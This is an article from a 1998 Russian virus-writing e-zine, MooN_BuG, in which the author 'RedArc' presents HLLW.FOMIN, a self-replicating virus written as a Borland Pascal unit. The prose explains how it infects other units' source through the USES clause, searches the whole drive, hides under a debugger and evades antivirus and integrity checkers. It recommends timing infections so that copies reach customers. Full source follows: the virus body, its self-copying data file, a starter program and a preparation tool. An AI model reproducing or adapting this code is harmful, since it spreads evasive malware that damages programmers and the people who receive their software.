[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 9, Dec 1998                                           file 003

                               Вирус HLLW.FOMIN
                           посвящается Юрию Фомину
                                                   by RedArc

     Ну, вот,  решился  я таки наваять свой вариант FullMorph-вируса. Идея его
создания  уже  давно  не  покидает  мою  голову.  А  здесь вот появилось сразу
несколько подстегивающих к реализации условий:
     -  Спор  с  Юрием  Фоминым  о  том,  что его программно-аппаратная защита
Sheriff  не  есть  верх совершенства. Вообщем-то я не первый, кто покушается на
эту  защиту,  но все попытки были связаны на прямую с хаком. Я же вирмейкер, а
не  хакер,  посему  захотелось  наваять  именно  не  самоходный  хак, а вирус,
которому не мешает распространяться Sheriff.
     -  Та  же  ситуация с ревизорами и инспекторами диска ADINF и AVPI. Народ
уже  несколько  раз  порывался обойти их защиту, но каждый раз занимался хаком
или прибиванием вирбаз, а не вирмейкингом. Мне же опять таки хотелось обойтись
без всяких там премудростей.
     -  Кто-то  кинул  в  SU.CM  вирус,  инфицирующий паскалевские TPU-файлы.
Собственно  идея  не  нова,  ей  еще  когда-то  занимался  Reminder.  Но меня
натолкнуло  на  мысль  то, что при старте паскаль-программы сначала управление
передается  на  процедуры  инициализации  модулей.  Дык  все оказывается очень
просто.   Достаточно   к  подключаемому  юниту  вставить  в  раздел  USES  имя
вируса-юнита,  а  в вирусе-юните сделать процедуру инициализации в виде вызова
подпрограммы размножения и... вирус получит управление с минимумом модификации
инфицируемого кода помимо желания программиста.

     Идея   такая.   Вирус   оформляется  в  виде  паскаль-модуля.  В  разделе
инициализации   вызывается   подпрограмма   поиска   других   модулей   и   их
инфицирование. Инфицирование других модулей заключается в дописывании в раздел
подключений USES имени модуля-вируса.
     Тонкие   моменты.   Подпрограмма   инициализации  модуля-вируса  получает
управление  только  из EXE-файла, следовательно, где то нужно хранить исходный
текст  вируса-модуля.  Я  оформил  исходный текст в виде массива переменных со
стартовыми  значениями  и  подключаю  его  как  обычный  кусок через директиву
INCLUDE.  Этот  INCLUDE  есть  сам  модуль,  но  опять-таки трудности - нельзя
использовать  апостроф внутри константы, так как Паскаль воспринимает его как
ограничитель  строки.  Я  из  этой ситуации выпутался. Чтобы после модификации
модуля  заново  ручками  не перебивать константы - слепил приблуду JFPREP.EXE,
которая большую часть работы берет на себя. Остается лишь перенести три строки
из  конца  файла  в  начало и заменить последнюю запятую на круглую скобочку с
двоеточием.  Да, в вирус введен поиск по всем каталогам текущего диска. На это
как  ни  крути  уходит  слишком  много времени и присутствие вируса становится
сильно  заметным.  Если  вы  таки  будете  использовать эту технологию, то вам
придется  либо  сильно  урезать  область  поиска, либо производить поиск жертв
скажем  по  пятницам,  когда  копии инфицированной программы уже разойдутся от
программиста к заказчикам. А может быть вы придумаете что-то еще? ;-)
     Перед  записью  в раздел USES (если таковой раздел имеется) модуля-жертвы
вирус  создает  копию своего исходного кода из массива констант и записывает в
файл  с  расширением  INC  копию  файла  INCLUDE. Поиск производится по строке
IMPLEMENTATION, без которой модуль не модуль.
     Вы  можете  свободно переименовывать константы, создавать файлы вируса со
случайными  именами,  вставлять  имя  модуля-вируса в случайное место в строке
USES,  добавить  видеоэффектов  и других вкусностей по своему усмотрению. Я же
привожу здесь лишь технологию в чистом виде.
     Почему  антивирусы  не видят вируса? А очень просто - вирус инфицирует те
объекты,  которые  антивирусы  не  контролируют.  Они, конечно, могут включить
детектирование конкретного вируса, но для другого придется делать то же самое.
Про  эвристические  анализаторы я вообще не говорю. Что же касается Sheriff'а,
то   он   по   определению  не  может  защищать  от  модифицирования  то,  что
предполагается   законно  модифицировать  чуть  ли  не  каждый  день  законным
владельцем  компьютера.  Ну,  по правде говоря, Юрий Фомин может сделать некие
фичи  в  своем комплексе, но полностью защитить комп от вирусов такого типа он
будет  просто  не  в  состоянии. Что же касается вирусов на ASM для пробивания
защиты  Sheriff,  то  это  скорее всего будет в следующем номере и с рецензией
автора, как мы собственно и договаривались.
     Вкусности.  Ну  первая  и  наверное  самая большая вкусность этого вируса
заключается  в  том,  что легче будет прибить инфицированный EXE-файл, чем его
вылечить.  То  есть  своего  рода технология неизлечимости, созданная на языке
высокого  уровня!  Вторая  вкусность вытекает из того, что программист заметит
неполадки  в  своей  программе  и  начнет  ее трассировать с целью обнаружения
чужеродного кода. Дык вирус проверяет на предмет установления прагмы отладчика
и  не  подключается  к  проекту в случае ее активности. То есть под отладчиком
вирус  не  виден.  Это  своего  рода  технология  стелсирования нерезидентного
вируса, написанного на языке высокого уровня.
     Этот  вирус  не  является  не  то  что  FullMorph,  он  даже  не является
полиморфным.   Это  всего  лишь  Stealth-вирус,  прозрачный  для  существующих
антивирусных  систем  защиты.  Я  на  нем  отлаживал  технологию инфицирования
исходных  текстов  программ для настоящего FullMorph-вируса, который вы будете
иметь  счастье лицезреть в следующей статье. Там я буду менее болтлив, так что
с представленными технологиями все же лучше разобраться здесь.
     Ну да ладно, я уже текста в статье написал больше, чем занимает исходник.
Думаю,  что  вы  разберетесь  без  труда.  А  я  пока  лучше займусь созданием
FullMorph для следующей статьи...

=== Cut ===                                     Основное тело вируса JFDOS.PAS
{
                         Вирус в виде паскаль-модуля
                          Copyright (c) 1998 RedArc

Объекты поражения: Паскаль-модули // Borland Pascal 7.0+

Деструкция:        Нет

Эффекты:           Нет

Особенности:       1. Принципиально не детектируется ни одной
                      антивирусной защитой, как то AVP, DrWeb,
                      ADINF, AVPI, Sheriff, AVPTsr, ...
                   2. Стелсируется на уровне прагм отладчика
                   3. Инфицирует исходные тексты модулей будучи
                      активизирован из EXE-программы
                   4. Производит поиск и инфицирование всех
                      паскаль-модулей на текущем диске

Комментарий:       Посвящается Юрию Фомину...
}

UNIT JFDOS;

{$I-}

INTERFACE

USES DOS;

TYPE
  Fomin_PList = ^Fomin_TList;
  Fomin_TList = record
    Name : String[12];
    Next : Fomin_Plist;
    end;

{$I jfdos.inc}

VAR
   Fomin_SR : SearchRec;
   Fomin_S : String;

PROCEDURE Fomin_Manager;

IMPLEMENTATION

PROCEDURE Fomin_ChDrive (Drive : Byte);
BEGIN
     asm
        MOV AH, 0Eh
        MOV DL, Drive;
        INT 21h
     end;
END;

FUNCTION Fomin_UpStr (S : String) : String;
VAR
   S1 : String;
   i : Integer;
BEGIN
   S1 := S;
   for i := 1 to Length (S1) do
       S1 [i] := UpCase (S1 [i]);
   Fomin_UpStr := S1;
END;

procedure Fomin_InfectFile (S : String);
var
    t1, t2 : Text;
    S1 : String;
    I, J : Integer;
begin
      Assign (t1, 'jfdos.pas');
      ReWrite (t1);
      if IOResult <> 0 then Exit;
      for I := 1 to Fomin_MaxConst do begin
          S1 := Fomin_Const [I];
          while Pos ('#39', S1) > 0 do begin
                J := Pos ('#39', S1);
                Delete (S1, J, 3);
                Insert (#39, S1, J);
          end;
          while Pos ('#38', S1) > 0 do begin
                J := Pos ('#38', S1);
                Delete (S1, J, 3);
                Insert ('#39', S1, J);
          end;
          WriteLn (t1, S1);
      end;
      Close (t1);
      Assign (t1, 'jfdos.inc');
      ReWrite (t1);
      if IOResult <> 0 then Exit;
      WriteLn (t1, 'CONST');
      WriteLn (t1, 'Fomin_MaxConst = ', Fomin_MaxConst, ';');
      WriteLn (t1, 'Fomin_Const : Array [1..Fomin_MaxConst] of String [40] =');
      WriteLn (t1, '(');
      for I := 1 to Fomin_MaxConst-1 do
          WriteLn (t1, #39, Fomin_Const [I], #39, ',');
      WriteLn (t1, #39, Fomin_Const [Fomin_MaxConst], #39, ');');
      Close (t1);
      Assign (t1, S);
      ReSet (t1);
      if IOResult <> 0 then Exit;
      Assign (t2, 'Scheriff.pas');
      ReWrite (t2);
      while not Eof (t1) do begin
         ReadLn (t1, S1);
         if Pos ('USES ', Fomin_UpStr (S1)) > 0 then
            Insert ('{$IFNDEF D+} JFDOS, {$ENDIF D+}', S1, Pos ('USES ', Fomin_UpStr (S1)) + 5);
         WriteLn (t2, S1);
      end;
      Close (t2);
      Close (t1);
      Erase (t1);
      Rename (t2, S);
end;

procedure Fomin_DetectUnitFile (S : String);
var
    t    : Text;
    Flag : Boolean;
    S1   : String;
begin
      Assign (t, S);
      ReSet (t);
      if IOResult <> 0 then Exit;
      Flag := False;
      while not Eof (t) do begin
            ReadLn (t, S1);
            if Fomin_UpStr (S1) = 'IMPLEMENTATION' then begin
               Flag := True;
               Break;
            end;
      end;
      Close (t);
      if not Flag then Exit;
      Fomin_InfectFile (S);
end;

procedure Fomin_ScanDir(stdir:PathStr);
  var
    n,L : Fomin_PList;
    m : PathStr;
    St : string[79];
    ch : char;
    DIR : DirStr;
    NAM : NameStr;
    EXT : EXTSTR;
begin
  FileMode := 0;
  L := nil;
  if stdir[Length(stdir)] <> '\' then
    stdir:=stdir+'\';
  m := stdir+'*.*';
  FindFirst(m,AnyFile, Fomin_SR);
  while dosError=0 do begin
    if ((Fomin_SR.Attr and Directory) <> 0) and ((Fomin_SR.Name<>'.') and
      (Fomin_SR.Name<>'..')) then begin
      New(n);
      N^.Next := L;
      N^.Name := Fomin_SR.Name;
      L := N;
      end
    else
      if (Fomin_SR.Attr and VolumeID=0) and (Fomin_SR.Attr and Directory=0) then begin
        Fomin_S := m;
        Delete (Fomin_S, Length (m)-2, 3);
        Fomin_S := Fomin_S + Fomin_SR.Name;
        FSPLIT (Fomin_S, DIR, NAM, EXT);
        IF (EXT = '.PAS') and (Fomin_SR.Attr and Hidden=0) THEN
           Fomin_DetectUnitFile (Fomin_S);
      end;
    FindNext(Fomin_SR);
    end;
  while L<> nil do begin
    m := Stdir+L^.Name;
    ChDir(m);
    if IOResult <> 0 then Exit;
    n := L;
    L := L^.next;
    Dispose(n);
    m := m+'\';
    if IOResult = 0 then
    Fomin_ScanDir(m);
    m := stdir;
    if m[length(m)-1] <> ':' then
      m[0] := chr(length(stdir)-1);
    ChDir(m);
    end;
end;

PROCEDURE Fomin_Manager;
VAR
    Home : PathStr;
    S    : String;
BEGIN
     GetDir (0, Home);
     if Home[Length(Home)] = '\' then
        Delete (Home, Length(Home), 1);
     S := Home [1] + ':';
     Fomin_ChDrive (ORD(UpCase(S[1]))-65);
     Fomin_ScanDir(S);
     Fomin_ChDrive (ORD(UpCase(Home[1]))-65);
     ChDir(Home);
END;

BEGIN
      Fomin_Manager;
END.
=== Cut ===

=== Cut ===                                            Данные вируса JFDOS.INC
CONST
      Fomin_MaxConst = 174;
      Fomin_Const : Array [1..Fomin_MaxConst] of String [100] = (

'UNIT JFDOS;',

'{$I-}',

'INTERFACE',

'USES DOS;',

'TYPE',
'  Fomin_PList = ^Fomin_TList;',
'  Fomin_TList = record',
'    Name : String[12];',
'    Next : Fomin_Plist;',
'    end;',

'{$I jfdos.inc}',

'VAR',
'   Fomin_SR : SearchRec;',
'   Fomin_S : String;',

'PROCEDURE Fomin_Manager;',

'IMPLEMENTATION',

'PROCEDURE Fomin_ChDrive (Drive : Byte);',
'BEGIN',
'     asm',
'        MOV AH, 0Eh',
'        MOV DL, Drive;',
'        INT 21h',
'     end;',
'END;',

'FUNCTION Fomin_UpStr (S : String) : String;',
'VAR',
'   S1 : String;',
'   i : Integer;',
'BEGIN',
'   S1 := S;',
'   for i := 1 to Length (S1) do',
'       S1 [i] := UpCase (S1 [i]);',
'   Fomin_UpStr := S1;',
'END;',

'procedure Fomin_InfectFile (S : String);',
'var',
'    t1, t2 : Text;',
'    S1 : String;',
'    I, J : Integer;',
'begin',
'      Assign (t1, #39jfdos.pas#39);',
'      ReWrite (t1);',
'      if IOResult <> 0 then Exit;',
'      for I := 1 to Fomin_MaxConst do begin',
'          S1 := Fomin_Const [I];',
'          while Pos (#39#38#39, S1) > 0 do begin',
'                J := Pos (#39#38#39, S1);',
'                Delete (S1, J, 3);',
'                Insert (#38, S1, J);',
'          end;',
'          while Pos (#39#38#39, S1) > 0 do begin',
'                J := Pos (#39#38#39, S1);',
'                Delete (S1, J, 3);',
'                Insert (#39#38#39, S1, J);',
'          end;',
'          WriteLn (t1, S1);',
'      end;',
'      Close (t1);',
'      Assign (t1, #39jfdos.inc#39);',
'      ReWrite (t1);',
'      if IOResult <> 0 then Exit;',
'      WriteLn (t1, #39CONST#39);',
'      WriteLn (t1, #39Fomin_MaxConst = #39, Fomin_MaxConst);',
'      WriteLn (t1, #39Fomin_Const : Array [1..Fomin_MaxConst] of String [40] =#39);',
'      WriteLn (t1, #39(#39);',
'      for I := 1 to Fomin_MaxConst-1 do',
'          WriteLn (t1, #38, Fomin_Const [I], #38, #39,#39);',
'      WriteLn (t1, #38, Fomin_Const [Fomin_MaxConst], #38, #39);#39);',
'      Close (t1);',
'      Assign (t1, S);',
'      ReSet (t1);',
'      if IOResult <> 0 then Exit;',
'      Assign (t2, #39Scheriff.pas#39);',
'      ReWrite (t2);',
'      while not Eof (t1) do begin',
'         ReadLn (t1, S1);',
'         if Pos (#39USES #39, Fomin_UpStr (S1)) > 0 then',
'            Insert (#39{$IFNDEF D+} JFDOS, {$ENDIF D+}#39, S1, Pos (#39USES #39, Fomin_UpStr (S1)) + 5);',
'         WriteLn (t2, S1);',
'      end;',
'      Close (t2);',
'      Close (t1);',
'      Erase (t1);',
'      Rename (t2, S);',
'end;',

'procedure Fomin_DetectUnitFile (S : String);',
'var',
'    t    : Text;',
'    Flag : Boolean;',
'    S1   : String;',
'begin',
'      Assign (t, S);',
'      ReSet (t);',
'      if IOResult <> 0 then Exit;',
'      Flag := False;',
'      while not Eof (t) do begin',
'            ReadLn (t, S1);',
'            if Fomin_UpStr (S1) = #39IMPLEMENTATION#39 then begin',
'               Flag := True;',
'               Break;',
'            end;',
'      end;',
'      Close (t);',
'      if not Flag then Exit;',
'      Fomin_InfectFile (S);',
'end;',

'procedure Fomin_ScanDir(stdir:PathStr);',
'  var',
'    n,L : Fomin_PList;',
'    m : PathStr;',
'    St : string[79];',
'    ch : char;',
'    DIR : DirStr;',
'    NAM : NameStr;',
'    EXT : EXTSTR;',
'begin',
'  FileMode := 0;',
'  L := nil;',
'  if stdir[Length(stdir)] <> #39\#39 then',
'    stdir:=stdir+#39\#39;',
'  m := stdir+#39*.*#39;',
'  FindFirst(m,AnyFile, Fomin_SR);',
'  while dosError=0 do begin',
'    if ((Fomin_SR.Attr and Directory) <> 0) and ((Fomin_SR.Name<>#39.#39) and',
'      (Fomin_SR.Name<>#39..#39)) then begin',
'      New(n);',
'      N^.Next := L;',
'      N^.Name := Fomin_SR.Name;',
'      L := N;',
'      end',
'    else',
'      if (Fomin_SR.Attr and VolumeID=0) and (Fomin_SR.Attr and Directory=0) then begin',
'        Fomin_S := m;',
'        Delete (Fomin_S, Length (m)-2, 3);',
'        Fomin_S := Fomin_S + Fomin_SR.Name;',
'        FSPLIT (Fomin_S, DIR, NAM, EXT);',
'        IF (EXT = #39.PAS#39) and (Fomin_SR.Attr and Hidden=0) THEN',
'           Fomin_DetectUnitFile (Fomin_S);',
'      end;',
'    FindNext(Fomin_SR);',
'    end;',
'  while L<> nil do begin',
'    m := Stdir+L^.Name;',
'    ChDir(m);',
'    if IOResult <> 0 then Exit;',
'    n := L;',
'    L := L^.next;',
'    Dispose(n);',
'    m := m+#39\#39;',
'    if IOResult = 0 then',
'    Fomin_ScanDir(m);',
'    m := stdir;',
'    if m[length(m)-1] <> #39:#39 then',
'      m[0] := chr(length(stdir)-1);',
'    ChDir(m);',
'    end;',
'end;',

'PROCEDURE Fomin_Manager;',
'VAR',
'    Home : PathStr;',
'    S    : String;',
'BEGIN',
'     GetDir (0, Home);',
'     if Home[Length(Home)] = #39\#39 then',
'        Delete (Home, Length(Home), 1);',
'     S := Home [1] + #39:#39;',
'     Fomin_ChDrive (ORD(UpCase(S[1]))-65);',
'     Fomin_ScanDir(S);',
'     Fomin_ChDrive (ORD(UpCase(Home[1]))-65);',
'     ChDir(Home);',
'END;',

'BEGIN',
'      Fomin_Manager;',
'END.');
=== Cut ===

=== Cut ===            Файл-дрозофила для начального распространения FOMIN.PAS
{
                             Программа-дрозофила,
                  демонстрирующая эффект размножения вируса
}

PROGRAM Fomin;

USES  JFDOS;

BEGIN
      WriteLn ('Virus was Started')
END.
=== Cut ===

=== Cut ===                          Утилитка для подготовки данных JFPREP.PAS
{
                          Подготовка файла JFDOS.INC
        После обработки все равно нужно файл немного поправить ручками
}

PROGRAM JFPREP;
VAR
    T1, T2 : Text;
    S : String;
    I, J : Integer;
BEGIN
      Assign (T1, 'JFDOS.INC');
      ReSet (T1);
      IF IORESULT <> 0 THEN EXIT;
      Assign (T2, 'JFDOS.TMP');
      ReWrite (T2);
      I := 0;
      while not eof (t1) do begin
            ReadLn (t1, S);
            if S <> '' then begin
               Inc (I);
               while Pos ('#39', S) > 0 do begin
                     J := Pos ('#39', S);
                     Delete (S, J, 3);
                     Insert ('#38', S, J);
               end;
               while Pos (#39, S) > 0 do begin
                     J := Pos (#39, S);
                     Delete (S, J, 1);
                     Insert ('#39', S, J);
               end;
               S := #39 + S + #39 + ',';
            end;
            WriteLn (T2, S);
      end;
      WriteLn (t2, '');
      WriteLn (t2, 'CONST');
      WriteLn (t2, 'Fomin_MaxConst = ', I, ';');
      WriteLn (t2, 'Fomin_Const : Array [1..Fomin_MaxConst] of String [100] = (');
      WriteLn (t2, '');
      Close (t2);
      Close (t1);
      Erase (t1);
      Rename (t2, 'JFDOS.INC');
END.
=== Cut ===